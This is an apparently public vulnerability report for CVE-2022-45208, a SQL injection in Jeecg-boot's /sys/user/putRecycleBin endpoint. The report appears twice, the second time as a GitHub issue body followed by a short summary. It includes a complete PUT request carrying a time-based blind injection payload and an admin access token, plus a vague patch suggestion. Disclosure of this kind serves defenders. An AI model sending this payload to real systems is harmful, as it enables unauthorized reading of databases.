Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/user/putRecycleBin.
# sysUserMapper.xml
revertLogicDeleted. You can see that no precompiling is performed
<img width="1048" alt="截屏2022-10-25 11 40 04" src="https://user-images.githubusercontent.com/60163868/197676949-8016d0d1-9874-45fd-ba3f-89c63d8a2c90.png">

# SysUserController.java
<img width="1278" alt="截屏2022-10-25 11 40 32" src="https://user-images.githubusercontent.com/60163868/197676991-1d2c1303-6b2c-4629-a4e3-32d4da435bb0.png">

# SysUserServiceImpl.java
<img width="1201" alt="截屏2022-10-25 11 41 42" src="https://user-images.githubusercontent.com/60163868/197677147-41162874-a54a-462e-ab5f-0924e086c787.png">
So Users can pass in malicious parameters through http requests to achieve SQL injection

# poc
The website will return immediately when the following content is passed in
<img width="1513" alt="截屏2022-10-25 11 43 33" src="https://user-images.githubusercontent.com/60163868/197677356-38bc1a03-a8cd-414a-8f8b-a8d1afc2a022.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1636" alt="截屏2022-10-25 11 43 57" src="https://user-images.githubusercontent.com/60163868/197677403-b693a283-5219-4d31-acd1-e6de9e403882.png">

# vuln
attack can user this to get data from database

# payload:
PUT /jeecg-boot/sys/user/putRecycleBin HTTP/1.1
Host: 192.168.1.1:8088
Content-Length: 34
Request-Origion: Knife4j
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

{
  "userIds": "a') OR SLEEP('2"
}


# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
[CVE-2022-45208]/sys/user/putRecycleBin is affected by sql injection
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : [CVE-2022-45208]/sys/user/putRecycleBin is affected by sql injection
Issue date:

--- start body ---
# sysUserMapper.xml
revertLogicDeleted. You can see that no precompiling is performed
<img width="1048" alt="截屏2022-10-25 11 40 04" src="https://user-images.githubusercontent.com/60163868/197676949-8016d0d1-9874-45fd-ba3f-89c63d8a2c90.png">

# SysUserController.java
<img width="1278" alt="截屏2022-10-25 11 40 32" src="https://user-images.githubusercontent.com/60163868/197676991-1d2c1303-6b2c-4629-a4e3-32d4da435bb0.png">

# SysUserServiceImpl.java
<img width="1201" alt="截屏2022-10-25 11 41 42" src="https://user-images.githubusercontent.com/60163868/197677147-41162874-a54a-462e-ab5f-0924e086c787.png">
So Users can pass in malicious parameters through http requests to achieve SQL injection

# poc
The website will return immediately when the following content is passed in
<img width="1513" alt="截屏2022-10-25 11 43 33" src="https://user-images.githubusercontent.com/60163868/197677356-38bc1a03-a8cd-414a-8f8b-a8d1afc2a022.png">
After the following content is passed in, the website will return after a delay of 2 seconds
<img width="1636" alt="截屏2022-10-25 11 43 57" src="https://user-images.githubusercontent.com/60163868/197677403-b693a283-5219-4d31-acd1-e6de9e403882.png">

# vuln
attack can user this to get data from database

# payload:
PUT /jeecg-boot/sys/user/putRecycleBin HTTP/1.1
Host: 192.168.1.1:8088
Content-Length: 34
Request-Origion: Knife4j
Accept: */*
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NjY2NjgzNjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.WUx3LR8rvOp92_GueiJtlqtjV4tDRnOZos_-IAp34nA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://192.168.1.1:8088
Referer: http://192.168.1.1:8088/jeecg-boot/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

{
  "userIds": "a') OR SLEEP('2"
}


# patch
In (${})
It seems that this cannot be modified to precompile
So it is recommended to add some keywords such as')
--- end body ---

The issue describes a SQL injection vulnerability in the Jeecg-Boot application, specifically in the endpoint /sys/user/putRecycleBin. The vulnerability allows attackers to pass malicious parameters through HTTP requests, which can lead to unauthorized data access from the database. The provided proof of concept (PoC) demonstrates how an attacker can exploit this vulnerability by injecting SQL commands that manipulate the database's behavior, such as causing a delay in response. This indicates a serious security risk that needs to be addressed.